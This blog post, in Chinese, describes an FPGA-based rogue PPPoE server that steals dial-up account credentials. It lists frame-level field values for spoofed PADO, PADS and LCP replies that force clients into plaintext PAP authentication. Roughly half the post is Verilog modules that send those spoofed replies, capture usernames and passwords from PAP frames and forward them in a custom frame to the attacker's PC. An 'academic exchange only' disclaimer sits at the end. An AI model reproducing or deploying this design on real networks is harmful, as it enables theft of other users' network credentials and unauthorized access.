新闻  |   论坛  |   博客  |   在线研讨会
【源码】基于FPGA的PPPoE协议获取账号密码的攻击实现
FPGA小师兄 | 2023-01-16 18:59:50    阅读:366   发布文章

在与本头条同名的微信公众号之前的一篇文章《 西电免流量限制上网攻略!Python实现PPPOE攻击工具,秒杀拨号上网》结尾布置了思考题,如何采用FPGA实现PPPoE的第一种攻击,也就是获取对方账号密码的攻击。本文针对FPGA实现的第一种攻击进行详细的介绍。FPGA实现方式具有非常好的硬件加速性能,窃取账号密码的成功率也会更高。因为,较之前Python实现方式而言,在收到网络上某台计算机发送的PADI广播包后,FPGA实现的伪装的服务器具有相当大的概率会抢在真正的服务器之前向该计算机发送欺骗帧(让对方将自己的账号密码以明文的形式反馈回来)。本文的目的一方面提醒网络安全的重要性,另一方面让大家认识到硬件加速力的重要性。试想,如果采用FPGA发起上文中提到的第三种DDOS攻击,估计瞬间就会造成整个网络的瘫痪。提升网络安全意识,从一点一滴做起。

一开始,我们先回顾一下之前使用Python实现的软件攻击的过程。

Python实现的软件攻击回顾

对于PPPOE认证上网的过程如下图所示,分为发现阶段和会话阶段,发现阶段分为PADI,PADO,PADR,PADS。


其中窃取账号密码的问题就出现在第一步PADI。PPPOE客户端进行连接时,在PADI阶段会发送一个广播包,寻找局域网中的PPPOE服务器,从而完成认证。

这时候我们需要做的是伪装成PPPOE服务器,回复请求信息,抢先和客户端通信,并强制客户端使用明文传输方式,从而获取账号和密码。下面我们通过wireshark抓一下数据包,更加直观的观察一下寻找PPPOE服务器的过程。点击宽带连接,使用Wireshark监听,会发现广播包,这时候pppoe服务器会进行回复。


攻击场景:在本机电脑上开启PPPOE欺骗程序,开始进行监听,并在局域网中的其他电脑上进行宽带连接,观察欺骗效果。如下图所示,已经成功欺骗出了账号和密码。

窃取账号的部分代码内容如下:


FPGA实现攻击必须完成的任务

PPPOE的认证过程分两个阶段

  1. 发现阶段:客户机寻找并确定可用的服务器,得到会话ID

  2. 会话阶段:在发现阶段所确定的参数基础上,依次完成链路控制协商、认证和NCP协商

由于会话阶段的认证步骤中进行用户密码传输,故FPGA伪装至少完成:

1.发现阶段

2.会话阶段的链路控制协商

发现阶段帧结构

发现阶段伪装要做到两点,一是识别并记录客户机的PADI、PADR帧信息;二是发送对应的PADO、PADS帧

发现阶段:PADI帧的识别与PADO帧的发送

PADI帧识别特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x09(PADI帧)

PADO帧发送

•目的MAC地址:客户机地址(PADI帧中源MAC地址)

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x07(PADO帧)

•静载荷域:在收到的PADI帧的净载荷后加上AC-NAME

发现阶段:PADR帧的识别与PADS帧的发送

PADR帧识别特征

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x19(PADR帧)

PADS帧发送

•目的MAC地址:客户机地址(PADR帧中源MAC地址)

•帧类型域:0x8863(发现阶段)

•PPPOE帧代码域:0x65(PADS帧)

•会话ID:可统一设为不为0的固定值

•净载荷域:与收到PADR帧的净载荷相同

会话阶段帧结构


会话阶段要做到:

1.发送认证协议参数为0xc023(PAP协议)的Config-Request报文

2.识别客户机发送的Config-Request报文并回应Config-Ack报文

会话阶段:Request帧的发送

LCP Configuration Request帧

•目的MAC地址:客户机地址(PADR帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x01(Request帧)

•认证协议:0xc023(PAP协议)

会话阶段:Ack帧的发送

LCP Configuration Ack帧

•目的MAC地址:客户机地址(Request帧中源MAC地址)

•帧类型域:0x8864(会话阶段)

•PPPOE帧代码域:0x00(会话数据)

•会话ID:可统一设为不为0的固定值

•点对点协议:0xc021(LCP协议)

•PPP LCP帧代码域:0x02(Ack帧)

•其余数据均与接收的Request帧保持一致即可

FPGA实现


1、u_pppoeattack_v1模块

•解析识别0口接收到的PPPOED、PPP帧

•记录特定帧的帧信息(源MAC地址、控制信息用寄存器保存,载荷用FIFO保存)

•根据接收的帧类型确定回复帧类型

•根据记录的信息和回复帧类型向0口发送对应帧

(1)解析识别0口接收到的PPPOED、PPP帧

首先获取接收帧不同结构位置下的数据

//获取接收帧的帧类型、PPPOE类型、PPPOE会话ID
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 frame_type <= 16'b0;
 pppoed_code <= 8'b0 ;
 lcp_code <= 8'd0 ;
 pppoed_session_id <= 16'b0;
 end
 else if(read_frame_step == 9'd3)
 begin
 frame_type <= ff_rx_data[31:16];
 pppoed_code<= ff_rx_data[7:0];
 end
 else if(read_frame_step == 9'd4)
 begin
 pppoed_session_id <= ff_rx_data[31:16];
 end
 else if(read_frame_step == 9'd5)
 begin
 lcp_code <= ff_rx_data[15:8];
 end
 else
 begin
 frame_type <= 16'b0;
 pppoed_code <= 8'b0 ;
 pppoed_session_id <= 16'b0;
 lcp_code <= 8'd0 ;
 end
end

(2)解析识别0口接收到的PPPOED、PPP帧

其次要根据获取数据判断接收帧类型,并在回复帧之前确定好回复帧类型

//确定该发送何种PPPOE帧
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 send_frame_step_flag <= 4'd0;
 end
 else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK))
 begin
 send_frame_step_flag <= PPP_LCP_REQUEST;
 end
 else if(ff_tx_eop == 1'b1)
 begin
 send_frame_step_flag <= 4'd0;
 end
 else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PADO;
 end
 else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PADS;
 end
 else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0)
 begin
 send_frame_step_flag <= PPP_LCP_ACK;
 end
end

(3)解析识别0口接收到的PPPOED、PPP帧

记录特定帧的帧信息

载荷用FIFO保存


payload_fifo u_payload_fifo (
 .clk(clk), // input wire clk
 .rst(~reset_n), // input wire srst
 .din(ff_rx_data), // input wire [31 : 0] din
 .wr_en(payload_data_wren), // input wire wr_en
 .rd_en(payload_data_rden), // input wire rd_en
 .dout(fifo_payload_dout), // output wire [31 : 0] dout
 .full(payload_fifo_full), // output wire full
 .empty(payload_fifo_empty) // output wire empty
);


源MAC地址等信息用寄存器保存

//获取接收帧的目的MAC地址和源MAC地址
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 des_addr <= 48'b0;
 sou_addr <= 48'b0;
 end
 else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1)
 begin
 des_addr[47:16] <= ff_rx_data;
 end
 else if(read_frame_step == 9'd1)
 begin
 des_addr[15:0] <= ff_rx_data[31:16];
 sou_addr[47:32] <= ff_rx_data[15:0] ;
 end
 else if(read_frame_step == 9'd2)
 begin
 sou_addr[31:0] <= ff_rx_data;
 end
end

(4)对应帧的发送:依次将地址数据、帧格式数据以及载荷写入到输出数据信号并发送

//帧发送数据赋值
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 ff_tx_data <= 32'b0;
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0)
 begin
 ff_tx_data <= sou_addr[47:16]; //发送目的MAC地址(接收帧源地址)
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1)
 begin
 ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]};
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2)
 begin
 ff_tx_data <= MAC_ADDR[31:0];
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd3)
 begin
 ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code};
 end //发送帧类型数据
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4)
 begin//发送会话ID及载荷长度
 ff_tx_data <= {send_session_id,send_frame_payload_length};
 end
 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0)
 begin//发送PPP和LCP帧类型以及分类码
 ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier};
 end
 else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1)
 begin
 ff_tx_data <= fifo_payload_dout; //发送特定帧所需的之前记录的接收帧载荷
 end
 else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //发送PADO帧载荷
 begin
 if(send_cnt == 3'd4)
 ff_tx_data <= {AC_NAME[7:0],24'b0};
 else if(send_cnt == 3'd3)
 ff_tx_data <= AC_NAME[39:8];
 else if(send_cnt == 3'd2)
 ff_tx_data <= AC_NAME[71:40];
 else if(send_cnt == 3'd1)
 ff_tx_data <= AC_NAME[103:72];
 else if(send_cnt == 3'd0)
 ff_tx_data <= AC_NAME_TAG;
 end
else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //发送LCP_Request帧载荷
 begin
 if(send_cnt == 3'd4)
 ff_tx_data <= LCP_OPTIONS[31:0];
 else if(send_cnt == 3'd3)
 ff_tx_data <= LCP_OPTIONS[63:32];
 else if(send_cnt == 3'd2)
 ff_tx_data <= LCP_OPTIONS[95:64];
 else if(send_cnt == 3'd1)
 ff_tx_data <= LCP_OPTIONS[127:96];
 else if(send_cnt == 3'd0)
 ff_tx_data <= LCP_OPTIONS[159:128];
 end
 else 
 begin
 ff_tx_data <= 32'b0;
 end
end

2、u_pppoeattack_authen_forward模块

•解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧

•记录1口以太网帧的帧信息(源MAC地址用寄存器保存)

•记录PPP_PAP帧的帧信息(载荷域的账号密码用FIFO保存)

•接收到PAP帧后向1口发送包含账号密码的自定义帧

(1)解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧与u_pppoeattack_v1模块操作相同

//获取1口接收以太网帧源MAC地址
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 sou_addr_1 <= 48'hffffffffffff;
 end
 else if(read_frame_step_1 == 9'd1)
 begin
 sou_addr_1[47:32] <= ff_rx_data_1[15:0] ;
 end
 else if(read_frame_step_1 == 9'd2)
 begin
 sou_addr_1[31:0] <= ff_rx_data_1;
 end
end
//拉高写使能信号,将PPP_PAP帧账号密码信息写入FIFO
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 payload_data_wren <= 1'b0;
 end
 else if(payload_data_write_cnt >= (payload_length_4bytes - 1))
 begin
 payload_data_wren <= 1'b0;
 end
 else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5)
 begin
 payload_data_wren <= 1'b1;
 end
end


//将接收到PPP_PAP帧的账号密码信息打包为一个自定义帧通过1口发往上位机
always @(posedge clk or negedge reset_n)
begin
 if(reset_n == 1'b0)
 begin
 ff_tx_data_1 <= 32'b0;
 end
 else if(ff_tx_eop_1 == 1'b1)
 begin
 ff_tx_data_1 <= 32'b0;
 end
 else if(send_frame_step == 9‘d1) //目的MAC地址
 begin
 ff_tx_data_1 <= sou_addr_1[47:16];
 end
 else if(send_frame_step == 9'd2)
 begin
 ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]};
 end
 else if(send_frame_step == 9‘d3) //板子源MAC地址
 begin
 ff_tx_data_1 <= MAC_ADDR[31:0];
 end
 else if(send_frame_step == 9‘d4) 
 begin//自定义帧类型0x8817,0x23与0x02为数据起始符
 ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02}; 
 end
 else if(send_frame_step == 9'd5)
 begin //0x2020为两个空格,替换原无效数据,0x25为数据分隔符%
 ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]};
 end 
 else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示数据结束符
 begin
 ff_tx_data_1 <= {8'h24,24'h0};
 end
 else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在账号与密码之间加入一个0x25数据分隔符%
 begin
 if(account_length == account_cnt - 8'd4)
 ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]};
 else if(account_length == account_cnt - 8'd3)
 ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]};
 else if(account_length == account_cnt - 8'd2)
 ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]};
 else if(account_length == account_cnt - 8'd1)
 ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25};
 else 
 ff_tx_data_1 <= fifo_payload_dout;
 end
 else if(send_frame_step > 9'd5)
 begin
 ff_tx_data_1 <= fifo_payload_dout;
 end
end

效果



温馨提示:

文中内容纯粹为学术交流,若有同学自己练习引起的一切问题,本文概不负责。

全文完。


*博客内容为网友个人发布,仅代表博主个人观点,如有侵权请联系工作人员删除。

参与讨论
登录后参与讨论
专注网络与交换领域的FPGA实现和芯片化,如TSN、TTE等
推荐文章
最近访客